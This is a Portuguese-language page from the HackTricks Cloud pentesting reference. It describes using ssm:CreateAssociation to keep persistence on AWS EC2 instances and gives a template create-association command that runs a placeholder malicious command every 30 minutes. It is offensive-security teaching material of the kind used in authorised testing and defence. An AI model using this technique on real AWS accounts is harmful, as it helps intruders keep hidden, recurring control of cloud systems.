hacktricks-cloud/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md

AWS - SSM Persistência

{{#include ../../../../banners/hacktricks-training.md}}

SSM

Para mais informações, consulte:

{{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md {{#endref}}

Usando ssm:CreateAssociation para persistência

Um atacante com a permissão ssm:CreateAssociation pode criar uma State Manager Association para executar automaticamente comandos em instâncias EC2 gerenciadas pelo SSM. Essas State Manager Associations podem ser configuradas para serem executadas em intervalos fixos, tornando-as adequadas para backdoor-like persistence sem sessões interativas.

aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name

Note

Este método de persistência funciona desde que a instância EC2 seja gerenciada pelo Systems Manager, o SSM agent esteja em execução, e o atacante tenha permissão para criar associations. Não requer sessões interativas nem permissões explícitas ssm:SendCommand. Importante: O parâmetro --schedule-expression (por exemplo, rate(30 minutes)) deve respeitar o intervalo mínimo da AWS de 30 minutos. Para execução imediata ou única, omita completamente --schedule-expression — a association será executada uma vez após a criação.

{{#include ../../../../banners/hacktricks-training.md}}